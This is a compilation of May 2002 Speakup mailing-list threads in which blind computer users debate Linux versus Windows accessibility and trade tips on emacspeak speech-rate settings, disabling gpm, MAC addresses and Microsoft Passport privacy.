> > under as it is to use), and some of the complexity may have to do with its
> > ability to deal with music notation, but its still a nontrivial task to
> > write such a beast. My feeling is that a console based sequencing and
> audio
> > package like cakeWalk won't ever be created, because sighted people want
> to
> > use a GUI. When gnome comes on-line for us, we may have more options in
> this
> > regard. I've heard of mixers and effects processors which are x-windows
> > based, but I'm not sure how well they work. I think there is a sequencer
> or
> > two as well for the X environment. The question is, are any of these as
> good
> > as cakeWalk? CakeWalk is a professional quality product in every way. The
> > only thing nonprofessional about it is Windows!
> >
> > There is someone (Frank Carmichael, I believe) who has been working on the
> > audio piece of this, so maybe he can chime in on this and tell me how
> *wrong
> > I am*! <smile>
> >
> > There is no way to create music the way I do without this program! It sux,
> > but its unfortunately the case.
> >
> >                     Rich
> >
> > ----- Original Message -----
> > From: "Octavian Rasnita" <orasnita@home.ro>
> > To: <speakup@braille.uwo.ca>
> > Sent: 18 May, 2002 8:37 PM
> > Subject: Re: interesting experiment.
> >
> >
> > Are there any games accessible for the blind under Linux, like under
> > Windows?
> > Please tell me some web addresses.
> > Are there any good sound editing programs for Linux, like Sound Forge,
> Cool
> > Edit, Gold Wave, etc, and programs for creating MIDI music, like Cake
> Walk?
> >
> > Is there a text editor, that has macro features, Regular expressions, the
> > ability to save in Windows/Mac/Unix format, etc?
> >
> > ... Just a few things that camed to mind.
> >
> > A lot of things are accessible, but ... harder to learn, harder to
> configure
> > and harder to use, if I am not so bright to remember 1000 command line
> > parameters.
> >
> > Thank you for the links.
> > Teddy,
> > orasnita@home.ro
> >
> > ----- Original Message -----
> > From: "Janina Sajka" <janina@afb.net>
> > To: <speakup@braille.uwo.ca>
> > Sent: Saturday, May 18, 2002 9:59 PM
> > Subject: Re: interesting experiment.
> >
> >
> > On Sat, 18 May 2002, Darrell Shandrow wrote:
> > > I just wish Linux were
> > > a more viable general purpose workstation; I use Windows for that
> purpose.
> > >
> > Hi, Darrell:
> >
> > Just wondering what you think is missing from Linux' desktop
> > applications.
> >
> > In case this sounds loaded, it might be. The underlying question
> > might be: Is it your knowledge deficit, or is it Linux itself?
> > For my own experience in this matter, I've found it's my
> > knowledge deficit almost without exception.
> >
> >
> >
> >
> > --------------------------------------------------------------------------
> --
> > ----
> >
> >
> >
> > ---
> > Outgoing mail is certified Virus Free.
> > Checked by AVG anti-virus system (http://www.grisoft.com).
> > Version: 6.0.361 / Virus Database: 199 - Release Date: 5/7/2002
> >
> >
> >
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Janina Sajka]

On Sun, 19 May 2002, Alex Snow wrote:

> How would a person tern of that padmouse thing?

Well, on a Red Hat system you do:

service gpm stop

To make this permanent you do:

chkconfig --level 0123456 gpm off

and you'll never see it again.


Eat your heart out, Windows fans.

Re: Why Windows?

[Will Smith]

Good point Janina!

I really dislike the Microsoft Passport strategy and also don't wish to
share my reading purchases with the boys in Redmond, for them to do with
as they wish!

Will
wilsmith@iglou.com
 On Sun, 19 May 2002, Janina Sajka wrote:

> On Sun, 19 May 2002, Alex Snow wrote:
>
> > I think winblows is spyware itself!
>
> Indeed.
>
> If you sign up for Passport you agree to let M$ track your
> spending habits.
>
> If you sign up for M$ Reader, you agree to let them know what
> books you read.
>
> Heck, they're probably going to know more about you than your
> mother does.
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: interesting experiment.

[Gregory Nowak]

I see. Never thought of all of that.
Greg


On Sun, May 19, 2002 at 05:59:58PM +0800, Kerry Hoath wrote:
> The MAC address is required to diagnose certain network related problems
> such as bad switches, faulty dhcp implementations from certain vendors,
> network jabbers, broadcast storms, packet tracing and a host
> of other uses.
> Watching your network for arp trafic with tcpdump can tell you if your
> windows box has come up onto the network and if the NIC is working.
> Knowing which machine you are looking for on a multi-pc network means knowing the mac address
> especially if there is an ip address conflict.
> Compound your problems by having a corrupted dhcp lease database under NT or 2 machines
> set to the same ip 1 dhcp 1 not, and you'd like to know which
> machine is where.
> MAC addresses are unique, and many organizations use the MAC address to track where
> their computers (or the network cards in said computers) are.
> Tracking a MAC address can tell you which segment on a switch a machine is on, and
> on complicated setups you can dump the MAC table to debug 802.1
> bridging problems.
> It is conceivable that on your home network you have personally
> never neded to know the MAC address of your windows box,
> and that is fare enough.
> I have debugged network problems in seconds with knowledge, a few MAC addresses
> and a packet sniffer that have baffled others for weeks.
> Maybe I am becoming disalusioned, but it seems so many people these days have
> no desire to know how things work, I mean really work.
> If you understand how things work,
> it is far easier to fix problems.
> My underlying knowledge of ethernet makes solving most networking problems a snap.
> 
> Regards, Kerry.
> On Sun, May 19, 2002 at 12:12:20AM -0500, Gregory Nowak wrote:
> > Ok, why would one need to know their nic's mac address under windows 9x?
> > I've never had to, and I used windblows extensively for a good while.
> > Greg
> > 
> > 
> > On Sun, May 19, 2002 at 12:49:52AM -0400, Janina Sajka wrote:
> > > On Sun, 19 May 2002, Octavian Rasnita wrote:
> > > 
> 
> -- 
> Kerry Hoath:  kerry@gotss.net kerry@gotss.eu.org or  kerry@gotss.spice.net.au
> ICQ: 8226547 msn: kerry@gotss.net Yahoo: kerryhoath@yahoo.com.au
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: emacspeak

[Janina Sajka]

On Sun, 19 May 2002, Ann Parsons wrote:

> As for accompanying programs.  Try w3 for your browser and vm for your
> mailer.  Both have been speech enabled for Emacs. 
> 
Caution, caution, caution.

There are various ways of handling mailboxes, and they're not
compatible with one another. You need to read the info pages on
converting mailbox formats before pointing vm, or rmail at your
inbox (or any other mail folder), or risk not being able to get
back to messages you want to read in Pine or mutt.

Re: Why Windows?

[Janina Sajka]

Hey, Will:

Can you imagine the hewen cry that would emerge should our
friends in Washington adopt a strategy of tracking what the
citezens of the land read? And those are your elected
representatives. Nobody elected Billie G.

On Sun, 19 May 2002, Will Smith wrote:

> 
> Good point Janina!
> 
> I really dislike the Microsoft Passport strategy and also don't wish to
> share my reading purchases with the boys in Redmond, for them to do with
> as they wish!
> 
> Will
> wilsmith@iglou.com
>  On Sun, 19 May 2002, Janina Sajka wrote:
> 
> > On Sun, 19 May 2002, Alex Snow wrote:
> >
> > > I think winblows is spyware itself!
> >
> > Indeed.
> >
> > If you sign up for Passport you agree to let M$ track your
> > spending habits.
> >
> > If you sign up for M$ Reader, you agree to let them know what
> > books you read.
> >
> > Heck, they're probably going to know more about you than your
> > mother does.
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Janina Sajka]

> On Sun, May 19, 2002 at 05:59:58PM +0800, Kerry Hoath wrote:

> > Maybe I am becoming disalusioned, but it seems so many people these days have
> > no desire to know how things work, I mean really work.

Kerry:

I suspect some of this desire to remain ignorant becomes more
prevalent when something becomes more popular. But, please don't
become disillusioned with us here on this list. I'm sure I'm not
the only one that really appreciates your thoughtful and precise
posts. Your name comes up frequently in my saved folders because
of the knowledge and support you've provided here. I just want
you know that I, for one, appreciate you.

In appreciation... was yRe: interesting experiment.

[Terry Cudney]

Hi all,

	Just a note of "here here!" in agreement with Janina.

	I too, have saved many of your posts, Kerry. For those of us who are learning (always learning) and want to know "how things really work", we appreciate someone like you with more knowledge and experience, who takes the time to give us solid answers.

	It doesn't take long, following a list, to see who posts meaningful messages, and who just likes to have a soapbox from which to vent. I often find myself scanning the index of incoming messages, reading the "From" " field, deleteing messages that are from people who I've come to know as whiners and soapboxers. When I see Kerry's name (and a few others), I read the message.

	Thanks, Kerry and you few who post messages of substance (you know who you are). If it weren't for you I (and probably some others here) would have unsubscribed long ago.

	--terry

PS Sorry ofr the soapbox here... Just wanted to express apreciation for those who post helpful messages.

You wrote:

-=> > On Sun, May 19, 2002 at 05:59:58PM +0800, Kerry Hoath wrote:
-=>
-=> > > Maybe I am becoming disalusioned, but it seems so many people these days have
-=> > > no desire to know how things work, I mean really work.
-=>
-=> Kerry:
-=>
-=> I suspect some of this desire to remain ignorant becomes more
-=> prevalent when something becomes more popular. But, please don't
-=> become disillusioned with us here on this list. I'm sure I'm not
-=> the only one that really appreciates your thoughtful and precise
-=> posts. Your name comes up frequently in my saved folders because
-=> of the knowledge and support you've provided here. I just want
-=> you know that I, for one, appreciate you.
-=>
-=>
-=> _______________________________________________
-=> Speakup mailing list
-=> Speakup@braille.uwo.ca
-=> http://speech.braille.uwo.ca/mailman/listinfo/speakup
-=>


Name:	Terry D. Cudney
Phone:	(905)735-6127
E-mail:	terry@CottageInWasaga.com -or- tcudney@sympatico.ca
WWW:	www.CottageInWasaga.com

Please avoid sending me Word or PowerPoint attachments.
See http://www.fsf.org/philosophy/no-word-attachments.html

Having a smoking section in a restaurant is like...
having a peeing sectionin a swimming pool.

Re: emacspeak

[brian Moore]

HI all. thanks for the help.  will play with this stuff and see how I
make out.  i think I can get this going and if I can get e-mail and w3
browsing working, I can finally scrap windows on my main work station.
still have to keep a box around and play with it enough not to forget
how to support it at work but can loose it at home for the most part
which would be really cool.
thanks.  brian.


*********** REPLY SEPARATOR  ***********

On 5/19/02 at 1:29 PM Janina Sajka wrote:

>If you want to set the rate by default on launch, rather than
>setting it by hand every time you launch, do something like the
>following in your $HOME/.emacs file:
>
>(declare (special 
>outloud-default-speech-rate dtk-default-speech-rate))
>(setq-default dtk-default-speech-rate 285
>outloud-default-speech-rate 95)
>(tts-configure-synthesis-setup)
>(dtk-set-rate tts-default-speech-rate t)
>
>
>PS: One of the cooler emacspeak features is the calendar. Check
>it out with an m-x calendar. Read about the cool things you can
>do with your calendar in the info pages.
>
>Too bad there's no straight forward way to may your calendar
>mobility sensitive, i.e. it's fairly tied to stationary
>computing.
>
>On Sun, 19 May 2002, Saqib Shaikh wrote:
>
>> Hi Brian,
>> 
>> First of all there is an Emacspeak list. As for reading, there is
the
>> Emacspeak guide, and tutorial. All of this is available at
>> emacspeak.sourceforge.net.
>> 
>> As a quick answer to the rate question - you need to do c-e d r. You
can
>> make this apply to all buffers rather than just the current buffer
by doing
>> c-u c-e d r.
>> 
>> Saqib
>> ----- Original Message -----
>> From: "brian Moore" <admin@bmoore.yi.org>
>> To: <speakup@braille.uwo.ca>
>> Sent: Sunday, May 19, 2002 11:51 AM
>> Subject: emacspeak
>> 
>> 
>> > HI all, I am primarily a speakup user on my linux system, however,
>> > yesterday, I was able to get emacspeak and via voice to actually
work
>> > on my rh 7.3 system and would like to give this thing a really
good
>> > try.  I suspect there is a list for it but don't know where.
>> >
>> > also, does anyone have any quick pointers to docs I can read or
>> > something to get familiar with using it and what things I may need
to
>> > install to try mail, web browsing etc?   also, one urgent
question.
>> > the default speech rate is intolerabally slow.  I thought I could
do it
>> > with control e and then I think f1 but couldn't get it to happen.
>> > would like to get that changed asap because reading at that speed
>> > drives me mad.
>> >
>> > thanks.  Brian.
>> >
>> >
>> >
>> > _______________________________________________
>> > Speakup mailing list
>> > Speakup@braille.uwo.ca
>> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
>> >
>> 
>> 
>> _______________________________________________
>> Speakup mailing list
>> Speakup@braille.uwo.ca
>> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>> 
>
>-- 
>	
>				Janina Sajka, Director
>				Technology Research and Development
>				Governmental Relations Group
>				American Foundation for the Blind (AFB)
>
>Email: janina@afb.net		Phone: (202) 408-8175
>
>Chair, Accessibility SIG
>Open Electronic Book Forum (OEBF)
>http://www.openebook.org
>
>
>_______________________________________________
>Speakup mailing list
>Speakup@braille.uwo.ca
>http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Deedra Waters]

I think that most people know how to search for things on the internet. I
 think you need to stop and think about the fact that not all people are
good at finding things and that's why we ask for help. If I could find all
of the answers to my problems, I wouldn't be asking.:p  Before you start
treating new people like their idiots, try to remember that we're all
different, we all learn in different ways, and sometimes we miss stuff.



On Sun, 19 May 2002, Janina Sajka wrote:

> All right, Newbies, Listen Up!
> 
> There's something called Google. It's your friend. You use it
> with your favorite web browser. It's real easy and it's lynx
> friendly. And, it finds the answers to almost all of the "where
> do I find" questions I've seen on this list in the last 6 months,
> and puts them on the first screen of results.
> 
> Learn to use Google. Keep it open in a second console.
> 
> The field where you type in your search string is the fourth
> field on the main Google screen. The submit button is the next
> field.
> 
> This is not rocket science. It isn't even hard.
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

Re: interesting experiment.

[Janina Sajka]

Actually, the things I'm referring to are not hard things.

When someone says "where do I find emacspeak," that's not a hard
thing to search for. 

Simply go to Google, put that one word, emacspeak, in the search
field and press enter.

Now, is that too hard for people here?

That's the kind of laziness I'm talking about.

If it's truly laziness, than I'm chidding.

If it's ignorance, then you've been informed.

PS: Google means:

http://www.google.com

On Sun, 19 May 2002, Deedra Waters wrote:

> I think that most people know how to search for things on the internet. I
>  think you need to stop and think about the fact that not all people are
> good at finding things and that's why we ask for help. If I could find all
> of the answers to my problems, I wouldn't be asking.:p  Before you start
> treating new people like their idiots, try to remember that we're all
> different, we all learn in different ways, and sometimes we miss stuff.
> 
> 
> 
> On Sun, 19 May 2002, Janina Sajka wrote:
> 
> > All right, Newbies, Listen Up!
> > 
> > There's something called Google. It's your friend. You use it
> > with your favorite web browser. It's real easy and it's lynx
> > friendly. And, it finds the answers to almost all of the "where
> > do I find" questions I've seen on this list in the last 6 months,
> > and puts them on the first screen of results.
> > 
> > Learn to use Google. Keep it open in a second console.
> > 
> > The field where you type in your search string is the fourth
> > field on the main Google screen. The submit button is the next
> > field.
> > 
> > This is not rocket science. It isn't even hard.
> > 
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Ann Parsons]

Hi all,

<smiling>  Emacspeak has a special feature whereby you can access
Google by pressing a couple of keystrokes.  Not only that, it takes
you directly to the text field where you enter your query. 

Ann P.

-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

emacspeak

[Dave Hunt <]

Hello Brian:

I'm using emacspeak and viavoice on a RH 7.2 system.  In addition to
emacspeak, I'm using the VM package for mail (available from
<http://www.wonderworks.com>), and the W3 web browser.  

To set the default speech rate globally, first, do 'ctrl-u', followed
by a positive number, then, 'ctrl-e' d r.  Choose a higher rate (the
default is 50 of 100).  I max it out.  

Finally, there's an emacspeak list at
<emacspeak-request@cs.vassar.edu>.  There is documentation at the
blinux site <http://www.leb.net/blinux>, among other places.  More
questions?  Write me off list, <dave.hunt2@verizon.net>.

-Dave

Re: interesting experiment.

[Janina Sajka]

Octavian: You need to explain yourself.

What is the meaning of "of course" in your message?

What's that about?

Also, why are you rebooting? That's your hangover from Windows.

Get a clue. That's not the way to get out of trouble.

Your emacs is probably working just fine, and you can probably
get back to your buffer list with c-x c-b

Now, instead of whining at the first sign of trouble, why not
study how to use the program a bit? Have you read the tutorials?
What can you succeed with? Or, did you just come here to say:

"of course"

to us.

I won't accept that. Not from you, not from anyone.

On Sun, 19 May 2002, Octavian Rasnita wrote:

> I press the keys for  launching the terminal mode under Emacspeak, I type a
> simple ls command to test it, I won't hear anything of course, then the
> computer stopped speaking, and I need to reboot it.
> IS Emacspeak the problem? Is IBM Via Voice stopping?
> I don't know.
> Thank you for putting me to learn. <gee>
> Do you have a link to a text file with all the command lines used by
> emacspeak?
> I've tried that help, but I couldn't find how to set the speed of voice
> sinthesizer faster, nor how to read a text at once, not line by line.
> I also would like to know how can I skip the text when I read this way.
> 
> In Windows, I can put the screen reader to read in "say all" mode and if I
> press the right shift, it skips a line and continue reading without
> stopping.
> If I press the left shift, it goes back with a line and continue reading
> without stopping.
> 
> This is a good feature and I am sure it should be in Emacspeak also.
> However, I couldn't find it.
> 
> I would also like to know if there is a kind of control panel for emacspeak,
> where I can set all the variables, a configuration file, etc.
> Emacspeak starts with a text file which is not too big and I should read a
> lot of things before finding how to set the sinthesizer faster.
> And I don't  have the patience to listen how slowly it speaks.
> 
> Teddy,
> orasnita@home.ro
> 
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Sunday, May 19, 2002 6:17 AM
> Subject: Re: interesting experiment.
> 
> 
> No joke. Emacs is easier than Windows.
> 
> Now, Octavian, stop belly aching and go learn how to do
> something.
> 
> On Sun, 19 May 2002, Octavian Rasnita wrote:
> 
> > Do you mean that using Emacspeak is easier than using Windows?
> > Nice joke. Really.
> > And ... without a hardware sinthesizer, with that IBM Via Voice that likes
> > to crash so often, or other software sinthesizers hard to understand, ...
> > Teddy,
> > orasnita@home.ro
> >
> > ----- Original Message -----
> > From: "Ann Parsons" <akp@eznet.net>
> > To: <speakup@braille.uwo.ca>
> > Sent: Saturday, May 18, 2002 11:53 PM
> > Subject: Re: interesting experiment.
> >
> >
> > Hi all,
> >
> > Why don't you try Emacspeak and quit yawping!  There *is* a speech
> > output system that uses software speech.
> >
> > Ann P.
> >
> > --
> > Ann K. Parsons
> > email:  akp@eznet.net ICQ Number:  33006854
> > WEB SITE:  http://home.eznet.net/~akp
> > "All that is gold does not glitter.  Not all those who wander are lost."
> > JRRT
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> 
> --
> 
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
> 
> Email: janina@afb.net Phone: (202) 408-8175
> 
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: emacspeak

[Dave Hunt <]

Thanks for the tip on setting my default speech rate at startup.  I
had been doing a simple (setq outloud-default-speech-rate 100), but,
in order to get the rate to that value, I had to stop and restart the
synth.  

-Dave

Re: Why Windows?

[Octavian Rasnita]

Agree. And if you go to Windows update page, they show you what sound card,
motherboard, video card you have but they say that they don't take private
information from your computer.

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 8:40 PM
Subject: Re: Why Windows?


On Sun, 19 May 2002, Alex Snow wrote:

> I think winblows is spyware itself!

Indeed.

If you sign up for Passport you agree to let M$ track your
spending habits.

If you sign up for M$ Reader, you agree to let them know what
books you read.

Heck, they're probably going to know more about you than your
mother does.



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Re: interesting experiment.

[Octavian Rasnita]

Yes good advice, but it will take me some time.
Teddy,
orasnita@home.ro

----- Original Message ----- 
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 7:46 AM
Subject: Re: interesting experiment.


Octavian:

As you well noted in your last post:

rtfm

I gave you the address twice. Now, rtfm

If you don't like this answer, then rtfm and write a better fm
yourself. That can be your contribution.

It's time to start giving, buddy, instead of just taking.

On Sun, 19 May 2002, Octavian Rasnita wrote:

> Does it need some special drivers? Or how to install it?
> Thanks.
> Teddy,
> orasnita@home.ro
> 
> ----- Original Message -----
> From: "Ann Parsons" <akp@eznet.net>
> To: <speakup@braille.uwo.ca>
> Sent: Sunday, May 19, 2002 5:57 AM
> Subject: Re: interesting experiment.
> 
> 
> Hi all,
> 
> DecTalk internal is supported by Emacspeak.
> 
> Ann P.
> 
> --
> Ann K. Parsons
> email:  akp@eznet.net ICQ Number:  33006854
> WEB SITE:  http://home.eznet.net/~akp
> "All that is gold does not glitter.  Not all those who wander are lost."
> JRRT
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 

Janina Sajka, Director
Technology Research and Development
Governmental Relations Group
American Foundation for the Blind (AFB)

Email: janina@afb.net Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org


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Re: interesting experiment.

[Octavian Rasnita]

Hi,

What is that card mac address?
Why should I know it?
Thanks.
Teddy,
orasnita@home.ro

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 7:49 AM
Subject: Re: interesting experiment.


On Sun, 19 May 2002, Octavian Rasnita wrote:

> If you know a good text editor under Linux please tell me.

emacs and/or vim. You'll never need anything else. So, learn them
or go back toWindows.

> Well, under Windows, you don't need to remember anything at all.

That's not true. What is your card's mac address? Go ahead. Find
it.
Then tell us you don't need to remember anything.

> You open a window, and it explains you what you should do there.
> You have to press the space bar to check some checkboxes, to press some
> buttons, etc, and if you don't know something, press shift+f10 (or the
right
> mouse button and choose "what's this?" or press F1 to view the help file
> wich is much much more easier to navigate than the man pages under Linux.
>
> Thanks.
> Teddy,
> orasnita@home.ro
>
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Sunday, May 19, 2002 6:14 AM
> Subject: Re: interesting experiment.
>
>
> OK, let's take this one question at a time ...
>
> On Sun, 19 May 2002, Octavian Rasnita wrote:
>
> > Are there any games accessible for the blind under Linux, like under
> > Windows?
> > Please tell me some web addresses.
>
> I was with you until you said "like Windows." I have no idea
> about Windows. I know nothing about it.
>
> But, if you want games, you can find them. Maybe they're better,
> maybe not. But they're out there. Emacs comes with games, and
> some are speech enabled by emacspeak. The only game I really know
> much about is gnu chess which can be obtained from
> http://www.gnu.org.
>
> I'm generally too interested in things to play games on my
> computer. Last thing I'm likely to do, so I'm out of knowledge
> here.
>
> > Are there any good sound editing programs for Linux, like Sound Forge,
> Cool
> > Edit, Gold Wave, etc, and programs for creating MIDI music, like Cake
> Walk?
>
>
> There's ecasound and sox. Very accessible. And there's
> gramophone. I recently came across a java midi patch editor, but
> I haven't had the time to get it working yet to find out about
> its accessibility. Admitedly, these are less functional than the
> Windows apps you mention for many tasks. Is this what you do? Or
> are these academic questions?
>
> > Is there a text editor, that has macro features, Regular expressions,
the
> > ability to save in Windows/Mac/Unix format, etc?
>
> What is Mac format? I've never heard of that. And what is Windows
> format?
> And, why would you care?
>
> Is there powerful text editing, formatting, scripting? Of course
> there is. Far more powerful than in Windows or Mac. There are
> probably too many to mention, actually. Linux/Unix has the
> proprietary world beat hands down on this one.
>
> Those format questions are themselves silly. You don't need them.
> You certainly don't need them to communicate with anyone, or to
> print out lovely reports, or design lovely e-content for on line
> publishing, etc.
>
> In fact, you do better to forget them and use the superior tools
> available on Linux.
>
> >
> > ... Just a few things that camed to mind.
> >
> > A lot of things are accessible, but ... harder to learn, harder to
> configure
> > and harder to use, if I am not so bright to remember 1000 command line
> > parameters.
>
> Give me a break. Grow up. How do you remember 1,000 dialog boxes.
> How do you remember where to tell windows to show extensions to
> files, for example. Or how about finding your ethernet card's mac
> address. Do you remember that? I could go on. This is another
> bogus argument.
>
> But, if you think the gui is actually superior, you're going to
> lose this excuse soon enough. GNOME is coming. What sad song are
> you going to sing then?
>
> >
> > Thank you for the links.
> > Teddy,
> > orasnita@home.ro
> >
> > ----- Original Message -----
> > From: "Janina Sajka" <janina@afb.net>
> > To: <speakup@braille.uwo.ca>
> > Sent: Saturday, May 18, 2002 9:59 PM
> > Subject: Re: interesting experiment.
> >
> >
> > On Sat, 18 May 2002, Darrell Shandrow wrote:
> > > I just wish Linux were
> > > a more viable general purpose workstation; I use Windows for that
> purpose.
> > >
> > Hi, Darrell:
> >
> > Just wondering what you think is missing from Linux' desktop
> > applications.
> >
> > In case this sounds loaded, it might be. The underlying question
> > might be: Is it your knowledge deficit, or is it Linux itself?
> > For my own experience in this matter, I've found it's my
> > knowledge deficit almost without exception.
> >
> >
> >
> >
>
> --------------------------------------------------------------------------
> --
> > ----
> >
> >
> >
> > ---
> > Outgoing mail is certified Virus Free.
> > Checked by AVG anti-virus system (http://www.grisoft.com).
> > Version: 6.0.361 / Virus Database: 199 - Release Date: 5/7/2002
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
> --
>
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
>
> Email: janina@afb.net Phone: (202) 408-8175
>
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

--

Janina Sajka, Director
Technology Research and Development
Governmental Relations Group
American Foundation for the Blind (AFB)

Email: janina@afb.net Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org


_______________________________________________
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Re: interesting experiment.

[Octavian Rasnita]

I was talking about Linux with IBM via voice and emacspeak.
I don't know what is the problem when it stops talking. Via voice or
emacspeak.

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Cecil H. Whitley" <cwhitley@ec.rr.com>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 7:50 AM
Subject: Re: interesting experiment.


Hi,
Just a minor question, are you speaking of viavoice outloud for windows or
linux??  Things crashing under windows is normal, expected behavior.  I
would go so far as to inquire if possibly there is a "crashed_recently"
variable within windows along with a random countdown timer......
Regards,
Cecil
----- Original Message -----
From: "Octavian Rasnita" <orasnita@home.ro>
To: <speakup@braille.uwo.ca>
Sent: Saturday, May 18, 2002 8:45 PM
Subject: Re: interesting experiment.


> Do you mean that using Emacspeak is easier than using Windows?
> Nice joke. Really.
> And ... without a hardware sinthesizer, with that IBM Via Voice that likes
> to crash so often, or other software sinthesizers hard to understand, ...
> Teddy,
> orasnita@home.ro
>
> ----- Original Message -----
> From: "Ann Parsons" <akp@eznet.net>
> To: <speakup@braille.uwo.ca>
> Sent: Saturday, May 18, 2002 11:53 PM
> Subject: Re: interesting experiment.
>
>
> Hi all,
>
> Why don't you try Emacspeak and quit yawping!  There *is* a speech
> output system that uses software speech.
>
> Ann P.
>
> --
> Ann K. Parsons
> email:  akp@eznet.net ICQ Number:  33006854
> WEB SITE:  http://home.eznet.net/~akp
> "All that is gold does not glitter.  Not all those who wander are lost."
> JRRT
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup


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Re: interesting experiment.

[Octavian Rasnita]

Ok, at least I know what is the problem now.
Are there any better software sinthesizers than Via voice  that can work
with emacspeak?
I don't care too much about responsiveness. I care about the sound quality.

Thanks.
Teddy,
orasnita@home.ro

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 7:58 AM
Subject: Re: interesting experiment.


I believe he is speaking of ViaVoice, and it does crash. Now, if
the source were available, someone of us would undoubtedly have
solved this issue. But it isn't.

So, don't blame Linux. Blame IBM and the Windows mindset that
they brought to Linux in ViaVoice.

On Sun, 19 May 2002, Cecil H. Whitley wrote:

> Hi,
> Just a minor question, are you speaking of viavoice outloud for windows or
> linux??  Things crashing under windows is normal, expected behavior.  I
> would go so far as to inquire if possibly there is a "crashed_recently"
